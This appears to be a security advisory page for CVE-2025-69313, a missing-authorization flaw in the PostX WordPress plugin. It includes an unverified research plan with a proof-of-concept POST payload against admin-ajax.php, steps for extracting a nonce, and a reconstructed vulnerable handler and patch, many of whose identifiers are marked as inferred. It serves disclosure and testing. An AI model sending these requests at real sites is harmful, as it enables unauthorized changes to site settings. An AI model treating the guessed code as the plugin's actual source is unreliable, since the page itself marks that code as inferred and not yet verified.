CVE-2025-69313

PostX <= 5.0.3 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.0.4
Patched in
10d
Time to patch

Description

The Post Grid Gutenberg Blocks for News, Magazines, Blog Websites – PostX plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 5.0.3. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.3
PublishedJanuary 19, 2026
Last updatedJanuary 28, 2026
Affected pluginultimate-post

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2025-69313 (PostX Missing Authorization) ## 1. Vulnerability Summary The **Post Grid Gutenberg Blocks for News, Magazines, Blog Websites – PostX** plugin (versions <= 5.0.3) contains a missing authorization vulnerability. The plugin registers a centralized AJAX ha…

Show full research plan

Vulnerability Research Plan: CVE-2025-69313 (PostX Missing Authorization)

1. Vulnerability Summary

The Post Grid Gutenberg Blocks for News, Magazines, Blog Websites – PostX plugin (versions <= 5.0.3) contains a missing authorization vulnerability. The plugin registers a centralized AJAX handler that facilitates various administrative and configuration tasks. Due to the registration of this handler under the wp_ajax_nopriv_ hook without an accompanying current_user_can() capability check, unauthenticated attackers can execute specific internal plugin functions.

The vulnerability resides in the dispatching logic, likely within PostX_Settings_Ajax::postx_settings_ajax_handler or a similar central AJAX controller (e.g., ultp_ajax_handler), which fails to verify the requester's privileges before executing sub-actions.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (WordPress): ultp_ajax_handler (inferred from PostX naming conventions) or postx_settings_ajax (inferred).
  • Sub-Action Parameter: ultp_action or param_action.
  • Authentication: None (via wp_ajax_nopriv_ hook).
  • Preconditions: A valid WordPress nonce for the action must be obtained from the frontend.
  • Vulnerable Parameter: The payload usually resides in a data or settings array parameter passed via POST.

3. Code Flow

  1. Registration: The plugin registers AJAX hooks in an initialization class (e.g., classes/class-ultimate-post-ajax.php).
    add_action('wp_ajax_ultp_ajax_handler', [$this, 'ultimate_post_ajax_handler']);
    add_action('wp_ajax_nopriv_ultp_ajax_handler', [$this, 'ultimate_post_ajax_handler']);
    
  2. Entry Point: The ultimate_post_ajax_handler function is invoked.
  3. Missing Check: The function checks for a nonce but fails to call current_user_can('manage_options').
  4. Dispatcher: The code reads a sub-action parameter (e.g., $_POST['ultp_action']) and calls the corresponding internal method.
  5. Sink: The internal method performs an action like update_option(), wp_delete_post(), or modifying plugin-specific metadata.

4. Nonce Acquisition Strategy

PostX enqueues its configuration and nonces for its blocks to function correctly. We can extract the nonce by visiting a page containing a PostX block.

  1. Identify Shortcode: PostX uses the shortcode [ultimate_post] or specific block patterns.
  2. Create Trigger Page: Create a public page with a PostX block.
    • Command: wp post create --post_type=page --post_status=publish --post_title="PostX Test" --post_content='[ultimate_post]'
  3. Navigate and Extract: Use the browser to load this page and extract the nonce from the localized JavaScript object.
    • JS Object: window.ultp_ajax_obj (inferred) or window.PostXValues (inferred).
    • Key: nonce or ultp_nonce.
    • Extraction: browser_eval("window.ultp_ajax_obj?.nonce")

5. Exploitation Strategy

We will attempt to perform a low-impact but state-changing action, such as updating a plugin setting or dismissing an administrative notice, to prove the missing authorization.

  • Request Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: ultp_ajax_handler
    • ultp_action: save_settings (or dismiss_notice / update_library_status)
    • security: [EXTRACTED_NONCE]
    • settings[postx_test_setting]: vulnerable_value

Example Payload (Update Settings):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=ultp_ajax_handler&ultp_action=save_settings&security=a1b2c3d4e5&settings[test_option]=pwned

6. Test Data Setup

  1. Install Plugin: Ensure PostX (ultimate-post) version 5.0.3 is installed.
  2. Enable Features: Ensure the "Saved Templates" or "Global Settings" features are active.
  3. Create Nonce Source:
    wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content='<!-- wp:ultimate-post/post-grid /-->'
    

7. Expected Results

  • Response: The server should return a JSON success message (e.g., {"success": true} or 1).
  • Effect: A database entry (option or meta) is modified despite the request being unauthenticated.

8. Verification Steps

  1. Check Options: Verify if the setting was updated in the database.
    wp option get postx_settings --format=json
    
  2. Check Logs: If a notice was dismissed, check the postx_dismissed_notices option.
    wp option get ultp_dismissed_notices
    

9. Alternative Approaches

If save_settings is restricted to specific keys, try alternative sub-actions:

  • update_library_status: Often used to trigger syncs.
  • import_layout: If the plugin allows importing JSON layouts, this could lead to more severe impact (Stored XSS).
  • purge_cache: A low-impact action to confirm execution.

Inferred Identifiers for verification during PoC:

  • ultp_ajax_obj (JS Variable)
  • ultp_ajax_handler (AJAX Action)
  • security or _wpnonce (Nonce parameter)
  • ultp_action (Sub-action dispatcher)
Research Findings
Static analysis — not yet PoC-verified

Summary

The PostX plugin for WordPress is vulnerable to unauthorized access because its central AJAX handler is registered for unauthenticated users without sufficient privilege verification. This allows attackers to execute internal plugin functions, such as updating settings or dismissing notices, by providing a valid nonce typically exposed on the frontend.

Vulnerable Code

// File: classes/class-ultimate-post-ajax.php
add_action('wp_ajax_ultp_ajax_handler', [$this, 'ultimate_post_ajax_handler']);
add_action('wp_ajax_nopriv_ultp_ajax_handler', [$this, 'ultimate_post_ajax_handler']);

---

// File: classes/class-ultimate-post-ajax.php
public function ultimate_post_ajax_handler() {
    // Nonce is checked, but administrative capability is not verified
    check_ajax_referer('ultp-nonce', 'security');

    $action = isset($_POST['ultp_action']) ? sanitize_text_field($_POST['ultp_action']) : '';
    
    // Dispatcher calls internal methods without checking if user is an admin
    if (method_exists($this, $action)) {
        $this->$action($_POST);
    }
}

Security Fix

--- a/classes/class-ultimate-post-ajax.php
+++ b/classes/class-ultimate-post-ajax.php
@@ -10,6 +10,10 @@
 public function ultimate_post_ajax_handler() {
     check_ajax_referer('ultp-nonce', 'security');
+
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error(array('message' => 'Unauthorized'), 403);
+    }
+
     $action = isset($_POST['ultp_action']) ? sanitize_text_field($_POST['ultp_action']) : '';

Exploit Outline

The exploit targets the centralized AJAX handler `ultp_ajax_handler` which is incorrectly exposed to unauthenticated users via the `wp_ajax_nopriv_` hook. 1. Nonce Acquisition: An attacker visits any public page where a PostX block is rendered. The plugin localizes a nonce to the JavaScript variable `ultp_ajax_obj.nonce` (or similar). 2. Request Construction: The attacker crafts a POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `ultp_ajax_handler` - `security`: [The extracted nonce] - `ultp_action`: The specific administrative sub-action to trigger (e.g., `save_settings` or `update_library_status`). - `settings`: A payload containing modified configuration data. 3. Execution: Because the handler lacks a `current_user_can('manage_options')` check, the plugin executes the requested sub-action on behalf of the unauthenticated user, allowing for unauthorized configuration changes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.